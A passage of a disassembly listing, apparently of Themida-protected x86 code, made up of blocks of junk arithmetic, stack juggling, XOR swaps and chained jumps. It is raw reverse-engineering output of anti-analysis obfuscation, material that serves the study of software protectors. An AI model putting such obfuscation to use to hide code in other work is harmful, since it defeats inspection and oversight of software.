mov [esp], eax
push ebp
jmp loc_59D85F
; ---------------------------------------------------------------------------
loc_5A54DD: ; CODE XREF: Themida_:005ADD93j
mov ebp, 4
add ebx, ebp
pop ebp
jmp loc_5ADA37
; ---------------------------------------------------------------------------
loc_5A54EA: ; CODE XREF: Themida_:005AE58Aj
pop ebp
jmp loc_5ACBFC
; ---------------------------------------------------------------------------
loc_5A54F0: ; CODE XREF: Themida_:0059C48Fj
mov ebx, 3BCD6596h
dec ebx
and ebx, 0EF1457Ch
xor ebx, 7F4E6DBEh
add ebp, ebx
pop ebx
sub ebp, 4114757h
add ebp, edx
add ebp, 4114757h
sub ebp, 758F28AAh
push dword ptr [esp]
jmp loc_5A9144
; ---------------------------------------------------------------------------
loc_5A5521: ; CODE XREF: Themida_:0059F0DFj
mov [esp], esi
push 55660A02h
pop esi
add esi, 0AA99F602h
add ebx, 56FE5D6Ch
add ebx, esi
sub ebx, 56FE5D6Ch
mov esi, [esp]
add esp, 4
sub ebx, 4
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
pop esp
jmp loc_5AD38C
; ---------------------------------------------------------------------------
loc_5A5559: ; CODE XREF: Themida_:005A8A77j
sub edx, 423C7E29h
sub edx, ebx
xchg edx, ebx
mov edx, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
jmp loc_598C9F
; ---------------------------------------------------------------------------
loc_5A557A: ; CODE XREF: Themida_:loc_5A4EE9j
; Themida_:005A9572j
push edi
mov edi, 7DFF6A63h
sub eax, edi
jmp loc_5A1BEA
; ---------------------------------------------------------------------------
loc_5A5587: ; CODE XREF: Themida_:loc_5AB394j
xor edx, 13C846F9h
jp loc_5A87F5
jmp loc_5ABA62
; ---------------------------------------------------------------------------
loc_5A5598: ; CODE XREF: Themida_:0059DE52j
add edx, edi
sub edx, 3C1B79BBh
jmp loc_598750
; ---------------------------------------------------------------------------
loc_5A55A5: ; CODE XREF: Themida_:005AC754j
or edx, 62A476B5h
and edx, 7E243E5Eh
not edx
xor edx, 0E3C99E34h
or eax, edx
pop edx
add eax, 0C44D965Dh
or edx, eax
pop eax
sub edx, 1
jmp loc_5A73A5
; ---------------------------------------------------------------------------
loc_5A55CC: ; CODE XREF: Themida_:005AD3D7j
push ebp
mov ebp, 1BF6F4Ah
shl ebp, 2
jmp loc_5A13DC
; ---------------------------------------------------------------------------
loc_5A55DA: ; CODE XREF: Themida_:005AABD5j
mov esi, 183B35D8h
push ecx
mov ecx, 33BB21CCh
xor ecx, 7CA93E8Ah
jmp loc_59B172
; ---------------------------------------------------------------------------
loc_5A55F0: ; CODE XREF: Themida_:0059AEDDj
; Themida_:005AA2D8j
mov [esp], esp
add dword ptr [esp], 4
push dword ptr [esp]
pop edi
add esp, 4
push esi
jmp loc_59C5ED
; ---------------------------------------------------------------------------
loc_5A560A: ; CODE XREF: Themida_:005A8812j
sub eax, 88B6697h
add eax, ecx
add eax, 88B6697h
pop ecx
jmp loc_59B018
; ---------------------------------------------------------------------------
loc_5A561C: ; CODE XREF: Themida_:005A9BDFj
sub edi, 7C74A3EFh
mov ecx, edi
pop edi
jmp loc_5A32EA
; ---------------------------------------------------------------------------
loc_5A562A: ; CODE XREF: Themida_:005A0DB9j
and eax, 52B63E3Bh
not eax
jmp loc_59A6C7
; ---------------------------------------------------------------------------
lodsb
push edx
mov dl, 0AEh
jmp loc_59AEFF
; ---------------------------------------------------------------------------
loc_5A563F: ; CODE XREF: Themida_:005A9947j
pop dword ptr [esp]
mov esp, [esp]
jmp loc_5AE802
; ---------------------------------------------------------------------------
loc_5A564A: ; CODE XREF: Themida_:005A52EFj
mov [esp], edi
sub esp, 4
mov [esp], ecx
push 71227AF4h
jmp loc_59C75D
; ---------------------------------------------------------------------------
loc_5A565D: ; CODE XREF: Themida_:005A6147j
mov edi, 439A44F0h
jmp loc_59DBFD
; ---------------------------------------------------------------------------
loc_5A5667: ; CODE XREF: Themida_:005AE91Bj
and edx, 4D2E72A6h
jmp loc_5AE8A8
; ---------------------------------------------------------------------------
loc_5A5672: ; CODE XREF: Themida_:005AEDDDj
shl esi, 5
add esi, 32C34975h
push ecx
mov ecx, 2CCB7F9Eh
sub ecx, 0A392790Fh
jmp loc_59E91B
; ---------------------------------------------------------------------------
loc_5A568C: ; CODE XREF: Themida_:005A447Cj
pop edx
jmp loc_59BC5B
; ---------------------------------------------------------------------------
loc_5A5692: ; CODE XREF: Themida_:0059AF58j
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
mov esp, [esp]
push 433h
jmp loc_5ACFEB
; ---------------------------------------------------------------------------
loc_5A56A8: ; CODE XREF: Themida_:005A705Dj
shr esi, 6
sub esi, 0DCC57E8Ch
inc esi
jmp loc_5AE946
; ---------------------------------------------------------------------------
loc_5A56B7: ; CODE XREF: Themida_:0059EDB7j
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
pop esp
jmp loc_5A9166
; ---------------------------------------------------------------------------
loc_5A56C6: ; CODE XREF: Themida_:005A1F05j
jmp loc_5A36AA
; ---------------------------------------------------------------------------
loc_5A56CB: ; CODE XREF: Themida_:0059DC35j
mov esi, 4
add edi, esi
pop esi
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
mov esp, [esp]
mov edi, [esp]
add esp, 4
and ecx, esi
mov esi, [esp]
jmp loc_5A1E6F
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop eax
push ebx
push esp
push dword ptr [esp]
pop ebx
add esp, 4
add ebx, 4
push eax
jmp loc_5ACD43
; ---------------------------------------------------------------------------
loc_5A570E: ; CODE XREF: Themida_:005ABB0Cj
push esp
push dword ptr [esp]
pop ecx
add esp, 4
jmp loc_59E972
; ---------------------------------------------------------------------------
loc_5A571E: ; CODE XREF: Themida_:00599720j
pop esp
mov [esp], ebp
xor [esp], ebp
xor ebp, [esp]
xor [esp], ebp
not ebp
xor [esp], ebp
xor ebp, [esp]
xor [esp], ebp
pop ebp
xor eax, ebp
xor ebp, eax
xor eax, ebp
sub esp, 4
mov [esp], edi
mov edi, 1
and eax, edi
mov edi, [esp]
push edx
push esp
mov edx, [esp]
add esp, 4
jmp loc_5AF11B
; ---------------------------------------------------------------------------
loc_5A575A: ; CODE XREF: Themida_:005AF21Aj
push ebp
mov ebp, 0FFFFFFFFh
sub edi, ebp
mov ebp, [esp]
add esp, 4
push ecx
mov ecx, 7A601309h
sub ecx, 6E2FAD5Ch
sub edi, ecx
mov ecx, [esp]
add esp, 4
push ecx
mov ecx, 0C0CA2074h
add edi, ecx
pop ecx
jmp loc_59F8C1
; ---------------------------------------------------------------------------
loc_5A5790: ; CODE XREF: Themida_:0059BB1Aj
add dword ptr [esp], 413D074Eh
push eax
mov eax, 212928E0h
sub [esp+4], eax
jmp loc_5A05AA
; ---------------------------------------------------------------------------
loc_5A57A6: ; CODE XREF: Themida_:005A6EAAj
pop ebx
mov ecx, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
jmp loc_59940C
; ---------------------------------------------------------------------------
loc_5A57BB: ; CODE XREF: Themida_:005A8C8Fj
add esp, 4
pop edx
push edx
jmp loc_59B7BB
; ---------------------------------------------------------------------------
loc_5A57C5: ; CODE XREF: Themida_:005A9EA9j
push dword ptr [esp]
pop ecx
push ebx
push esp
jmp loc_59EE92
; ---------------------------------------------------------------------------
loc_5A57D0: ; CODE XREF: Themida_:0059BCC9j
add [esp+4], edi
jmp loc_59FE7B
; ---------------------------------------------------------------------------
loc_5A57D9: ; CODE XREF: Themida_:0059AEC9j
sub ebp, 3E965747h
add ebp, 47D47ACEh
jmp loc_5A441A
; ---------------------------------------------------------------------------
loc_5A57EA: ; CODE XREF: Themida_:005AA57Fj
add eax, 4
add eax, 4
jmp loc_59E8FE
; ---------------------------------------------------------------------------
loc_5A57F9: ; CODE XREF: Themida_:005AEFBDj
shl dword ptr [esp], cl
pushf
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5A5802: ; CODE XREF: Themida_:005A94F0j
xchg eax, esi
not eax
xchg eax, esi
inc esi
sub esi, 0DA1E9C16h
sub ebx, esi
jmp loc_5AE8FA
; ---------------------------------------------------------------------------
loc_5A5814: ; CODE XREF: Themida_:0059ECE3j
push dword ptr [esp]
jmp loc_5A649B
; ---------------------------------------------------------------------------
loc_5A581C: ; CODE XREF: Themida_:0059DFB6j
xor edx, 55F5343Eh
sub edx, 5A482D53h
xor eax, edx
pop edx
jmp loc_5A193A
; ---------------------------------------------------------------------------
loc_5A5830: ; CODE XREF: Themida_:0059B37Aj
add al, 86h
sub al, 49h
jmp loc_5ADD11
; ---------------------------------------------------------------------------
loc_5A5839: ; CODE XREF: Themida_:0059A832j
push dword ptr [esp]
pop edi
push edx
mov edx, esp
add edx, 4
add edx, 4
jmp loc_5A6181
; ---------------------------------------------------------------------------
loc_5A5851: ; CODE XREF: Themida_:005A7D60j
jnp loc_5A769C
add bh, 0B3h
jmp loc_5AAAD1
; ---------------------------------------------------------------------------
loc_5A585F: ; CODE XREF: Themida_:0059898Fj
sub esi, ebx
jmp loc_5AA41B
; ---------------------------------------------------------------------------
loc_5A5866: ; CODE XREF: Themida_:005A3D3Dj
mov edx, 4B16632Ah
mov esi, 5B6B4153h
xor esi, edx
pop edx
shl esi, 5
jmp loc_5A2039
; ---------------------------------------------------------------------------
loc_5A587B: ; CODE XREF: Themida_:0059D914j
mov edx, ebp
pop ebp
xor eax, edx
pop edx
add edi, eax
pop eax
push 4469h
mov [esp], ebx
mov ebx, 4
add edi, 71BE5A5Eh
jmp loc_59ADC1
; ---------------------------------------------------------------------------
loc_5A589C: ; CODE XREF: Themida_:005A7639j
xor edi, 34D74A8Bh
jo loc_59E8A7
jmp loc_5A3724
; ---------------------------------------------------------------------------
loc_5A58AD: ; CODE XREF: Themida_:0059F6D0j
xor ebx, 82E7DA2h
jmp loc_59F88F
; ---------------------------------------------------------------------------
loc_5A58B8: ; CODE XREF: Themida_:005AED71j
shl edx, 4
jmp loc_5A453B
; ---------------------------------------------------------------------------
loc_5A58C0: ; CODE XREF: Themida_:005A44D6j
xor ebx, [esp]
mov esp, [esp]
inc dword ptr [esp]
pushf
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5A58CF: ; CODE XREF: Themida_:0059B63Fj
; Themida_:005ADE4Dj
push eax
mov eax, 142631D6h
or eax, 3FD357A4h
shl eax, 2
jmp loc_5A33FE
; ---------------------------------------------------------------------------
loc_5A58E2: ; CODE XREF: Themida_:005A0AADj
sub esi, 0FFFFFFFFh
xor esi, 0E553FE8Ah
xor eax, esi
mov esi, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
jmp loc_5AC53C
; ---------------------------------------------------------------------------
loc_5A5902: ; CODE XREF: Themida_:005A6E8Cj
add esp, 4
pop dword ptr [esp]
jmp loc_59E51F
; ---------------------------------------------------------------------------
loc_5A5910: ; CODE XREF: Themida_:0059DC7Ej
push ebx
mov ebx, 7FD04A0Eh
xor ebx, 2B1600C5h
jmp loc_5AE3CF
; ---------------------------------------------------------------------------
loc_5A5921: ; CODE XREF: Themida_:0059F009j
ja loc_59C1A0
jmp loc_5A7ED0
; ---------------------------------------------------------------------------
mov ecx, 18BD0135h
mov bl, 6Ah
loc_5A5933: ; CODE XREF: Themida_:005A6EA2j
pop edi
xchg edx, [esp]
mov esp, [esp]
loc_5A593A: ; CODE XREF: Themida_:0059B8D8j
push 827h
jmp loc_5ABC75
; ---------------------------------------------------------------------------
loc_5A5944: ; CODE XREF: Themida_:005A0548j
sub ebx, 287A244Ch
add ebx, ebp
push ecx
mov ecx, 287A244Ch
add ebx, ecx
mov ecx, [esp]
add esp, 4
add ebx, 4DAF0625h
pop ebp
add ebx, 4
xchg ebx, [esp]
mov esp, [esp]
push 1215h
mov [esp], edx
sub esp, 4
mov [esp], esi
mov esi, esp
add esi, 4
jmp loc_5ADE27
; ---------------------------------------------------------------------------
loc_5A5988: ; CODE XREF: Themida_:0059B446j
pop esp
pop dword ptr [esp]
pop esp
mov ax, [esp]
push 5AE3h
mov [esp], ebp
mov ebp, esp
push ebp
sub esp, 4
jmp loc_5AF098
; ---------------------------------------------------------------------------
loc_5A59A4: ; CODE XREF: Themida_:005ADF90j
jmp loc_5AAE51
; ---------------------------------------------------------------------------
loc_5A59A9: ; CODE XREF: Themida_:005AA2E1j
sub esp, 4
mov [esp], esi
jmp loc_59DBC9
; ---------------------------------------------------------------------------
loc_5A59B7: ; CODE XREF: Themida_:005A2187j
sar word ptr [esp], cl
pushf
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5A59C1: ; CODE XREF: Themida_:005A8DA7j
sub ebx, 1C932E7h
push edi
mov edi, 6A69156Fh
add edi, 651D4580h
inc edi
add edi, 830648B1h
jmp loc_59DC0A
; ---------------------------------------------------------------------------
loc_5A59DF: ; CODE XREF: Themida_:0059B1ECj
and edi, 53119D4h
or edi, 30B26698h
push eax
jmp loc_598442
; ---------------------------------------------------------------------------
loc_5A59F1: ; CODE XREF: Themida_:005AC2F4j
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ebp
push 1A71h
mov [esp], edx
mov edx, 2
push edx
xor dword ptr [esp], 45A510A6h
pop ebp
push ebx
mov ebx, 45A510A6h
xor ebp, ebx
pop ebx
push dword ptr [esp]
jmp loc_5A7CF9
; ---------------------------------------------------------------------------
loc_5A5A2A: ; CODE XREF: Themida_:005ABDAEj
shr ecx, 3
jmp loc_5A17DA
; ---------------------------------------------------------------------------
loc_5A5A32: ; CODE XREF: Themida_:005A918Bj
mov ecx, 4
jmp loc_59F773
; ---------------------------------------------------------------------------
loc_5A5A3C: ; CODE XREF: Themida_:005ADB11j
push eax
push esp
pop eax
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], ecx
mov ecx, ebx
push edi
mov edi, ecx
mov ebp, edi
jmp loc_5A3470
; ---------------------------------------------------------------------------
loc_5A5A5A: ; CODE XREF: Themida_:005A097Ej
add eax, edi
jmp loc_59A1C8
; ---------------------------------------------------------------------------
loc_5A5A61: ; CODE XREF: Themida_:0059F10Fj
push ebp
jmp loc_5A3C36
; ---------------------------------------------------------------------------
loc_5A5A67: ; CODE XREF: Themida_:005A9839j
mov [esp], edi
push esp
mov edi, [esp]
jmp loc_5A24A1
; ---------------------------------------------------------------------------
loc_5A5A73: ; CODE XREF: Themida_:005A37AFj
movzx ax, byte ptr [eax]
push small 6358h
mov [esp], ax
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5A5A84: ; CODE XREF: Themida_:0059CDBAj
mov edx, [esp]
add esp, 4
add edx, 1A587E3Bh
pop ebp
add edx, 19421BE9h
and edx, 104772D4h
jmp loc_5AD99D
; ---------------------------------------------------------------------------
loc_5A5AA2: ; CODE XREF: Themida_:005AA85Bj
add eax, 34DEEA45h
jmp loc_5A3000
; ---------------------------------------------------------------------------
loc_5A5AAC: ; CODE XREF: Themida_:005A2018j
push 1AF2h
mov [esp], eax
push esp
pop eax
add eax, 4
push edi
mov edi, 4
add eax, edi
pop edi
jmp loc_5A712F
; ---------------------------------------------------------------------------
loc_5A5AC9: ; CODE XREF: Themida_:005A178Bj
xchg ebp, [esp]
jmp loc_5A63A6
; ---------------------------------------------------------------------------
loc_5A5AD1: ; CODE XREF: Themida_:0059D301j
sub ecx, 0A06149A9h
add ebx, 5D431BFEh
add ebx, ecx
push edx
mov edx, 559D1737h
sub edx, 2B666B33h
shr edx, 7
shl edx, 2
shl edx, 8
xor edx, 91F304Ah
add edx, 498CBB4h
sub ebx, edx
pop edx
pop ecx
add ecx, 76382C2Ch
add ecx, ebx
sub ecx, 76382C2Ch
mov ebx, [esp]
jmp loc_59EC7B
; ---------------------------------------------------------------------------
loc_5A5B1A: ; CODE XREF: Themida_:005AE11Cj
dec eax
and eax, 707C7C23h
jmp loc_5A2857
; ---------------------------------------------------------------------------
loc_5A5B25: ; CODE XREF: Themida_:005AAB16j
pop esp
jmp loc_5A34B0
; ---------------------------------------------------------------------------
loc_5A5B2B: ; CODE XREF: Themida_:005AAEFFj
mov esp, [esp]
sub esp, 4
mov [esp], edx
push esp
pop edx
push 76C2h
mov [esp], esi
push ebp
jmp loc_59F5A4
; ---------------------------------------------------------------------------
loc_5A5B47: ; CODE XREF: Themida_:005997C1j
; Themida_:005AC096j
mov eax, 3C43AB30h
sub ebx, eax
mov eax, [esp]
add esp, 4
add eax, ebx
mov ebx, [esp]
add esp, 4
sub eax, edx
push dword ptr [esp]
mov edx, [esp]
add esp, 4
add esp, 4
add [edi+24h], eax
pop eax
loc_5A5B74: ; CODE XREF: Themida_:0059C225j
push edx
push 256Ah
jmp loc_5ADB0E
; ---------------------------------------------------------------------------
loc_5A5B7F: ; CODE XREF: Themida_:005A39B5j
dec ecx
jge loc_598EF8
xor ecx, 626A0381h
jmp loc_59FCEA
; ---------------------------------------------------------------------------
push ebx
pop esi
loc_5A5B93: ; CODE XREF: Themida_:00598EAAj
mov ecx, [esp]
add esp, 4
push ebp
jmp loc_5A1999
; ---------------------------------------------------------------------------
loc_5A5BA2: ; CODE XREF: Themida_:005A2BB9j
add esp, 4
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
jmp loc_5AA75C
; ---------------------------------------------------------------------------
loc_5A5BB3: ; CODE XREF: Themida_:005AA032j
add eax, 4
xor eax, [esp]
xor [esp], eax
jmp loc_59C720
; ---------------------------------------------------------------------------
loc_5A5BC1: ; CODE XREF: Themida_:005ADDF8j
or eax, ecx
pop ecx
push edx
push 19B04F4h
mov edx, [esp]
jmp loc_5A4184
; ---------------------------------------------------------------------------
loc_5A5BD2: ; CODE XREF: Themida_:0059FE7Cj
pop eax
push ebp
jmp loc_59CC3E
; ---------------------------------------------------------------------------
loc_5A5BD9: ; CODE XREF: Themida_:005A86C9j
xchg edi, [esp]
pop esi
push edx
mov edx, 0F0998723h
xor esi, edx
pop edx
jmp loc_59D9A3
; ---------------------------------------------------------------------------
loc_5A5BEB: ; CODE XREF: Themida_:005A2C3Bj
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push edi
push ebx
mov ebx, esp
jmp loc_5AAF34
; ---------------------------------------------------------------------------
loc_5A5C00: ; CODE XREF: Themida_:005A4536j
mov ecx, 5EBD6D4Ch
sub ebx, 778A5AAAh
sub ebx, ecx
push esi
mov esi, 1F5734A7h
xor esi, 15F37557h
inc esi
add esi, 67AA28FEh
add esi, 377E1893h
shl esi, 8
push ecx
mov ecx, 0C7411Fh
add ecx, 5D4E3EFAh
shl ecx, 5
neg ecx
not ecx
add ecx, 0E856D58Bh
add esi, ecx
pop ecx
add ebx, esi
pop esi
pop ecx
push eax
mov eax, 53B3310Ch
inc eax
xor eax, 194164C2h
add ebx, eax
pop eax
add ebx, 5AB94950h
push dword ptr [esp]
jmp loc_5A1101
; ---------------------------------------------------------------------------
loc_5A5C66: ; CODE XREF: Themida_:005A41CAj
mov eax, [esp]
jmp loc_5AD216
; ---------------------------------------------------------------------------
loc_5A5C6E: ; CODE XREF: Themida_:005A883Aj
add dword ptr [esp], 4
jmp loc_59BAB7
; ---------------------------------------------------------------------------
loc_5A5C77: ; CODE XREF: Themida_:005AABC2j
; Themida_:005AD246j
mov esi, 78BE426Bh
add ebx, esi
pop esi
push eax
mov eax, 74DF6CCEh
and ebx, eax
pop eax
jmp loc_599C97
; ---------------------------------------------------------------------------
loc_5A5C8D: ; CODE XREF: Themida_:005A2FC4j
; Themida_:005A42C1j
mov edi, [esp]
add esp, 4
push edx
push dword ptr [esp+4]
jmp loc_5AC674
; ---------------------------------------------------------------------------
loc_5A5CA0: ; CODE XREF: Themida_:005ADD67j
add eax, 4
push esi
mov esi, 4
jmp loc_5ADC28
; ---------------------------------------------------------------------------
loc_5A5CB0: ; CODE XREF: Themida_:005A5074j
mov eax, [esp]
push 7C83h
jmp loc_59E027
; ---------------------------------------------------------------------------
loc_5A5CBD: ; CODE XREF: Themida_:00598A3Aj
add edx, edi
pop edi
add edx, edi
sub edx, 7C306788h
jmp loc_5A6E99
; ---------------------------------------------------------------------------
loc_5A5CCD: ; CODE XREF: Themida_:005A88C8j
pop ebp
sub dword ptr [esp], 1B531D13h
add [esp], eax
jmp loc_5A37F8
; ---------------------------------------------------------------------------
loc_5A5CDD: ; CODE XREF: Themida_:005986E6j
mov esi, 413D1BCBh
add ecx, esi
jmp loc_5ADF70
; ---------------------------------------------------------------------------
loc_5A5CE9: ; CODE XREF: Themida_:005A7A37j
push ecx
mov ch, 0CEh
or ch, 6Fh
xor ch, 20h
jmp loc_5A7FE0
; ---------------------------------------------------------------------------
loc_5A5CF7: ; CODE XREF: Themida_:005A6375j
xor eax, [esp]
mov esp, [esp]
add [esp], ax
pushf
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5A5D07: ; CODE XREF: Themida_:0059B406j
push 6D3926A5h
pop eax
neg eax
jle loc_5A780B
or eax, 91D4568h
jmp loc_59D327
; ---------------------------------------------------------------------------
loc_5A5D1F: ; CODE XREF: Themida_:005A6401j
add al, 2Eh
sub esp, 4
mov [esp], ecx
mov cl, 25h
add al, cl
mov ecx, [esp]
jmp loc_5AF2CE
; ---------------------------------------------------------------------------
loc_5A5D33: ; CODE XREF: Themida_:00598EC9j
push edx
push edi
mov edi, esp
add edi, 4
sub edi, 4
jmp loc_5AB421
; ---------------------------------------------------------------------------
loc_5A5D48: ; CODE XREF: Themida_:0059BB97j
xor [esp], edx
xor edx, [esp]
pop esp
mov [esp], edx
push 8000h
push dword ptr [esp]
jmp loc_5AB9D6
; ---------------------------------------------------------------------------
loc_5A5D5F: ; CODE XREF: Themida_:005AD9F2j
; Themida_:005ADEC7j
and ecx, 151F1E61h
js loc_5AF10D
add ecx, 25A052AFh
jb loc_59E5E8
or ecx, 4B6E6129h
jmp loc_5997F6
; ---------------------------------------------------------------------------
loc_5A5D82: ; CODE XREF: Themida_:0059925Cj
; Themida_:0059E6CAj
pop edi
xchg ebx, [esp]
pop esp
push ebx
jmp loc_5A6E7F
; ---------------------------------------------------------------------------
loc_5A5D8D: ; CODE XREF: Themida_:005AC606j
mov edx, [esp]
add esp, 4
add edx, 4
jmp loc_598E7E
; ---------------------------------------------------------------------------
loc_5A5D9E: ; CODE XREF: Themida_:loc_5A83A4j
jmp loc_5AEF51
; ---------------------------------------------------------------------------
loc_5A5DA3: ; CODE XREF: Themida_:005A21FFj
mov esi, esp
push edi
jmp loc_598740
; ---------------------------------------------------------------------------
loc_5A5DAB: ; CODE XREF: Themida_:005A63BCj
mov esi, ebp
pop ebp
add [esp+8], esi
push dword ptr [esp]
mov esi, [esp]
push ebp
jmp loc_5AE6A5
; ---------------------------------------------------------------------------
mov eax, [esp]
push ebx
mov ebx, esp
push 34D2h
jmp loc_5A73D0
; ---------------------------------------------------------------------------
loc_5A5DCE: ; CODE XREF: Themida_:005A1E21j
push ecx
push edx
sub esp, 4
mov [esp], ebx
push 70A05678h
pop ebx
shr ebx, 5
not ebx
add ebx, 5359151Fh
mov edx, ebx
mov ebx, [esp]
jmp loc_5AB176
; ---------------------------------------------------------------------------
loc_5A5DF1: ; CODE XREF: Themida_:005A6B41j
mov edx, 30DF1320h
xor edx, 3B16104Ah
dec edx
js loc_5A252A
jmp loc_59C9C5
; ---------------------------------------------------------------------------
loc_5A5E08: ; CODE XREF: Themida_:005A549Fj
; Themida_:005A8349j
pop eax
sub eax, 317A494Ch
jg loc_5AC242
jmp loc_5A30DB
; ---------------------------------------------------------------------------
loc_5A5E19: ; CODE XREF: Themida_:005A7245j
sub edi, 0FFFFFFFFh
inc edi
jmp loc_59C4F6
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
pop edx
add esp, 4
push 1605h
mov [esp], eax
jmp loc_59C8B5
; ---------------------------------------------------------------------------
loc_5A5E39: ; CODE XREF: Themida_:005A07B5j
push ebx
push 54965D06h
jmp loc_5A66BB
; ---------------------------------------------------------------------------
loc_5A5E44: ; CODE XREF: Themida_:005AA009j
mov [esp], eax
push esi
push 62655D88h
jmp loc_5A831E
; ---------------------------------------------------------------------------
loc_5A5E52: ; CODE XREF: Themida_:005AA9FAj
add esp, 4
mov ecx, edi
pop edi
xor eax, ecx
jmp loc_5AB75A
; ---------------------------------------------------------------------------
loc_5A5E62: ; CODE XREF: Themida_:005A30E4j
; Themida_:005A8176j
and ebx, 76AB74C6h
push ecx
push ebp
mov ebp, 31ECD04Dh
mov ecx, ebp
jmp loc_5A80D9
; ---------------------------------------------------------------------------
loc_5A5E76: ; CODE XREF: Themida_:0059BCFEj
push dword ptr [esp+4]
mov ebx, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
xor bl, al
movzx eax, al
push dword ptr [edi+eax*4]
push esi
push 73D2h
mov [esp], ecx
jmp loc_59DB35
; ---------------------------------------------------------------------------
loc_5A5E9D: ; CODE XREF: Themida_:005AC37Bj
add esp, 4
jmp loc_5A2892
; ---------------------------------------------------------------------------
loc_5A5EA8: ; CODE XREF: Themida_:00598F9Ej
pop esp
jmp loc_5AF0F4
; ---------------------------------------------------------------------------
loc_5A5EAE: ; CODE XREF: Themida_:0059D747j
mov esp, [esp]
jmp loc_5AD80F
; ---------------------------------------------------------------------------
loc_5A5EB6: ; CODE XREF: Themida_:005AD48Dj
; Themida_:loc_5AEA48j
xor [esp], eax
xor eax, [esp]
mov esp, [esp]
push dword ptr [esp]
mov edx, [esp]
add esp, 4
jmp loc_59D478
; ---------------------------------------------------------------------------
loc_5A5ECD: ; CODE XREF: Themida_:005A4CD0j
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
jmp loc_5A5393
; ---------------------------------------------------------------------------
loc_5A5EDB: ; CODE XREF: Themida_:005A2C84j
shr esi, 5
jnz loc_5AE18A
jmp loc_5A81F8
; ---------------------------------------------------------------------------
mov esp, [esp]
mov [esp], eax
pop esp
loc_5A5EF0: ; CODE XREF: Themida_:005A3A6Ej
add esi, edx
jmp loc_59A485
; ---------------------------------------------------------------------------
loc_5A5EF7: ; CODE XREF: Themida_:005A1220j
sub bl, 0F3h
jmp loc_5AC0FC
; ---------------------------------------------------------------------------
loc_5A5EFF: ; CODE XREF: Themida_:005A2AD3j
xor ebx, 184E6F65h
shl ebx, 1
not ebx
neg ebx
sub ebx, 8F6852C7h
add eax, ebx
jmp loc_5A49EA
; ---------------------------------------------------------------------------
loc_5A5F18: ; CODE XREF: Themida_:005AC967j
mov esi, ecx
pop ecx
not esi
push 0
sub [esp], esi
pop esi
push esi
not dword ptr [esp]
jmp loc_5A869A
; ---------------------------------------------------------------------------
loc_5A5F2F: ; CODE XREF: Themida_:005A1778j
push edi
mov edi, 4
jmp loc_5ACCC9
; ---------------------------------------------------------------------------
loc_5A5F3A: ; CODE XREF: Themida_:0059C8CEj
mov [esp], ecx
mov ecx, 2C18576Dh
jmp loc_59FEDB
; ---------------------------------------------------------------------------
loc_5A5F47: ; CODE XREF: Themida_:loc_5AF14Cj
add ebp, 1C40B24h
xor ebp, 0B931F36h
xor ebp, 0B1CE7D06h
mov edi, ebp
jmp loc_5A3B5C
; ---------------------------------------------------------------------------
loc_5A5F60: ; CODE XREF: Themida_:005A70CDj
mov [esp], ebp
mov ebp, 709716B0h
or esi, ebp
jmp loc_5A2410
; ---------------------------------------------------------------------------
loc_5A5F6F: ; CODE XREF: Themida_:00599CECj
push 564h
mov [esp], edi
xor dword ptr [esp], 210058D6h
pop edx
xor edx, 210058D6h
pop edi
sub edx, 6E9A73C4h
jmp loc_59BE0D
; ---------------------------------------------------------------------------
loc_5A5F91: ; CODE XREF: Themida_:005A29D6j
sub esp, 4
mov [esp], ecx
mov ecx, esp
push 66D5h
mov [esp], esi
mov esi, 4
add ecx, esi
pop esi
push ebx
push edi
mov edi, 12C25D61h
or edi, 7B56312Ah
jmp loc_5AE7AA
; ---------------------------------------------------------------------------
loc_5A5FBB: ; CODE XREF: Themida_:0059D52Cj
mov eax, 49F653A0h
xor eax, 6ED86514h
not eax
sub eax, 0A9BC935Ch
dec eax
inc eax
add eax, 5FB442FFh
push edi
mov edi, 8A9BBEE0h
sub eax, 780106C7h
add eax, edi
add eax, 780106C7h
pop edi
jmp loc_5AA7B3
; ---------------------------------------------------------------------------
loc_5A5FEB: ; CODE XREF: Themida_:005A4578j
xor ebx, [esp]
xor [esp], ebx
push dword ptr [esp]
pop eax
push edi
push esp
push dword ptr [esp]
pop edi
push ecx
sub esp, 4
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
mov ecx, [esp]
add esp, 4
push ebp
mov ebp, 45342B63h
sub ebp, 39132945h
push ecx
mov ecx, 11B44CD5h
add ebp, ecx
pop ecx
neg ebp
and ebp, 5B364BEDh
neg ebp
sub ebp, 0BDDDFEEFh
jmp loc_59CBD2
; ---------------------------------------------------------------------------
loc_5A6040: ; CODE XREF: Themida_:0059D0BCj
neg dh
jz loc_59A843
xor dh, 40h
push eax
mov al, dh
mov bh, al
jmp loc_599449
; ---------------------------------------------------------------------------
loc_5A6055: ; CODE XREF: Themida_:0059D04Bj
; Themida_:005A4FC6j
sub esp, 4
mov [esp], edi
jmp loc_5A3052
; ---------------------------------------------------------------------------
loc_5A6060: ; CODE XREF: Themida_:005ABB18j
jle loc_5A727E
jmp loc_5A140C
; ---------------------------------------------------------------------------
loc_5A606B: ; CODE XREF: Themida_:005A2F6Cj
pop ecx
sub ecx, 8AC761Eh
mov eax, [esp]
jmp loc_5AE7E3
; ---------------------------------------------------------------------------
loc_5A607A: ; CODE XREF: Themida_:0059B1B8j
xor ebp, 0EC2FC02Bh
jmp loc_5A3653
; ---------------------------------------------------------------------------
loc_5A6085: ; CODE XREF: Themida_:005A24B1j
pop eax
sub dl, bl
add dl, 0AAh
sub dl, 4Bh
